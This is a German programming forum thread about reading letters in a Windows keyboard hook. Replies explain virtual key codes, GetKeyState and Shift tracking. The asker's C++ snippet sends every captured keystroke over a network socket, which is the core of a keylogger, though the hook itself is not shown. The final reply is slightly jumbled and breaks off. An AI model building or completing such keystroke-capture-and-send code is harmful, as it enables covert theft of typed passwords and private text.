tastaturhook



  • danke, muss ich hier für key den wParam einsetzten?


  • Mod

    key schrieb:

    danke, muss ich hier für key den wParam einsetzten?

    Was sonst?



  • ok danke dir 🙂



  • if ((key>='A' && key<='Z') || (key>='0' && key<='9'))
    {
    // It is a char
    char c = static_cast<char>(key);
    ...
    }

    zählt der code auch bei kleinen buchstaben oder wie mache ich das?



  • habs getestet, es funktioniert bis jetz bestens.
    Nur alle zeichen die ich eingebe sind groß. ich möchte jedoch zwischen klein und groß unterscheiden wie geht das



  • hier stand unüberlegtes



  • Ich sehe hier keine Hook-Funktion (siehe Titeltext).

    Kann es sein, daß hier nur von einer "gewöhnlichen" WM_KEYDOWN Nachricht die Rede ist?

    Wenn ja, dann liefert Dir WM_KEYDOWN nur, welche Taste gedrückt ist (wie der Name selbst ja schon sagt 😉 ).

    D.h. wenn Du die Kombinationen wie "gedrückte Shift-Taste plus Taste E" auswerten möchtest, dann benötigst Du zusätzliche Informationen, die Dir GetKeyState() http://msdn.microsoft.com/en-us/library/ms646301(VS.85).aspx liefert.

    Martin



  • nein ich hab nen hook den sieht man hier nur nicht.

    if ((wParam>='A' && wParam<='Z') || (wParam>='0' && wParam<='9'))
    	{
    		c = static_cast<char>(wParam);
    		send(s1, &c, sizeof(c), 0);
    	}
    	else if ((wParam>='a' && wParam<='z') || (wParam>='0' && wParam<='9'))
    	{
    		char c = static_cast<char>(wParam);
    		send(s1, &c, sizeof(c), 0);
    	}
    

    so ist die eingabe leider immernoch groß obwohl ich auch kleine abgefragt habe.
    woran liegt das?



  • Ich glaube, Du hast den Sinn von virtual key codes (was Martin Richter gepostet hat) nicht richtig verstanden.

    In den virtual Key codes gibt es nunmal NUR Großbuchstaben (guck selbst genau nach).

    Denn: Es handelt sich um die Information, welche Taste gedrückt ist (hier z.B die Taste A, denn es gibt nur eine auf Deiner Tastatur!).
    Und NICHT, welches Zeichen auf dem Bildschirm erscheinen soll! (hier z.B. 'a' oder 'A')

    Das sind zwei völlig verschiedene Informationen!

    Was ich eher vermute, ist, daß Du die gewählte Technik mit dem Tastatur-Hook wohl ein wenig zu hoch gegriffen hast (nicht böse gemeint).
    Denn das gleiche Problem hättest Du auch, wenn Du ganz normal in Deinem Programm die Tasteninformationen auswerten würdest (ohne Hooks). Und da müßtest Du wohl zusätzlich GetKeyState() auswerten.

    Martin



  • ok jetzt verstehe ich was ihr meint.
    gibt es nicht trotzdem ne lösung mit key codes? hab keinen bock auf die Get funktionen...


  • Mod

    key schrieb:

    ok jetzt verstehe ich was ihr meint.
    gibt es nicht trotzdem ne lösung mit key codes? hab keinen bock auf die Get funktionen...

    Deine Antwort ist albern. Wenn Du schon zu so etwas keinen Bockgelingt. hast, könnte es sein, dass andere keinen Bock haben Dir zu antworten..

    Du kannst einfach kontrollieren ob die Shift Taste gedrück wurde und Dir das in einem Flag merken. Dann könntest Du selber entscheinden ob es um Großschreibung oder Kleinschreibung handelt. Es wird aber spassig wenn Du auch noch Caps-Lock kontollieren willst etc...
    Ich bezweifel, dass Dir dies ohne weiteres


Anmelden zum Antworten